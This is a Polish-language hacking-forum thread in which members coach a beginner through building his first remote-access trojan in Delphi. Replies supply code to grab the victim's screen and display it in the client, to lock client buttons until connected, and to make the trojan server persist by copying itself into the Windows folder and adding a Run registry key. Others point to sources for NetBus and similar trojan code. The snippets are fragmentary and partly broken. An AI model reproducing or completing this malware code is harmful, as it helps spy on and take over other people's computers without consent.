funkcje w trojanie

[NiuNio]

no wiec, gdzie moge znalesc jakies zmienne funkcje do trojana w delphi?
szukam i szukam ale nic z tego
na cc-team.org jest kilka, niezbyt ciekawych
dla mnie najwazniejsze to podgląd - screen, moze wie ktos jak to zrobic?
tworze swojego pierwszego trojana

 

[spy]

wejdz na FTP achatesa i tam masz "jak zrobic trojana" czy cos takiego "trojan w delphim" i tam tego jest od h**a =]

no i jeszcze na 4programmers.net sa 3 faq i tam masz wszystko =]

 

[Gozda]

Spy: Tyle ze ftp achata nie dziala, jesli masz tego tutka to wes mi go zapodaj na [email protected] ;] Moze sie przydac.

 

[NiuNio]

spy a jak zrobic zrzut ekranu, zeby sie odrazy wlanczal? bo umiem tylko zeby zapisauje sie tylko na dysku

a jak zrobic zeby sie otwieral odrazu??

 

[Szyms]

Jak ci chodzi o to żeby screnshot wyświetlał się w trojanie. To używasz tej samej procedure tylko zamiast komendy która zapisuje piszesz np.
Canvas.draw(10,10,Bitmap);

 

[NiuNio]

no wiec ja mam cos takiego i gdzie mam to Twoje niby wkleic ??

begin
try{ tworzenie zmiennej }
Can := TCanvas.Create;
{ przechwycenie uchwytu ekrnau }
Can.Handle := GetWindowDC(GetDesktopWindow);

{ tworzenie bitmapy }
B := TBitmap.Create;
B.Width := Screen.Width;
B.Height := Screen.Height;
B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));
Canvas.draw(10,10,Bitmap);

try // zapisz plik
B.SaveToFile('Clik.bmp');
except // w wyniku bledu...
raise Exception.Create('Bład w zapisie pliku...');
end;

finally
Can.Free;
B.Free;
end;

 

[K0P3R]

Sorka ze sie podpinam pod temat ale stwierdzilem ze jest on dobry by wstawic tu takie pytanie :
W Trojanie o nazwie "Destruktor" jesli sie nie połaczymy zaden button nie jest aktywny (nie mozna go wdusic) mysle ze wiecie oco mi chodzi ; )
Moje zapytanie więc brzmi : Jak to uczynić ?

 

[Gozda]

Originally posted by K0P3R
Sorka ze sie podpinam pod temat ale stwierdzilem ze jest on dobry by wstawic tu takie pytanie :
W Trojanie o nazwie "Destruktor" jesli sie nie połaczymy zaden button nie jest aktywny (nie mozna go wdusic) mysle ze wiecie oco mi chodzi ; )
Moje zapytanie więc brzmi : Jak to uczynić ?

Najpierw ustaw wszystkim przyciskom 'Enabled' na 'false'
Pozniej do funkcji łączenia dodaj coś w stylu
Connect := 'true';
Pozniej wrzucisz funkcje
if connect = true then
Begin
Button.Enabled := True;
Button2.Enabled := True;
Button3.Enabled := True;
end;
I tak ze wszystkimi... Jak cos to wal na gg. ;]

 

[K0P3R]

Ok dzieki Gozda , wszytsko juz wiem ; )

 

[Gozda]

Originally posted by K0P3R
Ok dzieki Gozda , wszytsko juz wiem ; )

Prosze, polecam sie na przyszlosc ;D

 

[Szyms]

Originally posted by niunio
no wiec ja mam cos takiego i gdzie mam to Twoje niby wkleic ??

begin
try{ tworzenie zmiennej }
Can := TCanvas.Create;
{ przechwycenie uchwytu ekrnau }
Can.Handle := GetWindowDC(GetDesktopWindow);

{ tworzenie bitmapy }
B := TBitmap.Create;
B.Width := Screen.Width;
B.Height := Screen.Height;
B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));
Canvas.draw(10,10,Bitmap);

tutaj do dajesz tlko zamiast bitmap wpisujesz B (twoja zmienna).

Originally posted by niunio+--><div class='quotetop'>CYTAT(niunio)</div>

try // zapisz plik
B.SaveToFile('Clik.bmp');
except // w wyniku bledu...
raise Exception.Create('Bład w zapisie pliku...');
end;[/b]

To powyżej wykasowujesz chyba że chcesz żeby nadal się zapisywało do pliku.

<!--QuoteBegin-niunio
finally
Can.Free;
B.Free;
end;

To jest ok

Nie jestem pewny czy to tak ma być ale tak mi się wydaje.

 

[NiuNio]

jakis blad jest tu


Canvas.draw(10,10,Bitmap);


na koncu mi blad pokazuje miedzy nawiasem a srednikiem

 

[Szyms]

Originally posted by niunio
jakis blad jest tu


Canvas.draw(10,10,Bitmap);


na koncu mi blad pokazuje miedzy nawiasem a srednikiem

Zamiast bitmap musisz wpisać B jak to nie wyjdzie to wpisz can.(twoje zmienne)

 

[NiuNio]

czyli to ma wygladac tak?:
Canvas.draw(10,10,

;

ahaa i jeszcze jedno jak dodac server zeby uruchamial sie ze startem systemu?

robilem to z 3 faqami i za kazdym razem nie chce sie gowno wlanczac !
musze jeszcze pogrzebac bo mi nie starrtuje server wraz z win.

 

[Szyms]

Tak. Żeby server uruchamiał się z windą musisz dać wpis do rejestru.To jest z cc-team.org :
var
red : tregistry
begin
reg.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('Mój serwer

hehe','c:windowsserwer.exe');
copyfile(pchar(paramstr(0)),pchar('c:windowsserwer.exe'),true); // kopiuje plik
BorderIcons := [biSystemMenu];

Tyle że pod uses musisz dodać registry.

 

[spy]

nie polecam klucza HKEY_CURRENT_USER;
Bo trojan bedzie dzialal tylko na tym profilu =[

 

[NiuNio]

no tak mi namieszal z tym autostartem ze mi sie winda poszla je**

ale i tak zaslugiwala na formata wiec nie bylo strasznie

 

[FLEJA]

niunio jezeli dalej robisz trojana i szukasz nowych opcji moge ci polecic stronke:
http://www.delphi-area.com/kody_zrodlowe.p...&action=display
w dziale tym znajdziesz troche kodow zrodlowych trojanow (min. GirlFriend, NetBus itp itd.) sam zobacz, moze poprzez analize kodu zrodlowego znajdziesz cos co ciebie interesuje.
Pozdrawiam i czekam na next wersje trojana hehe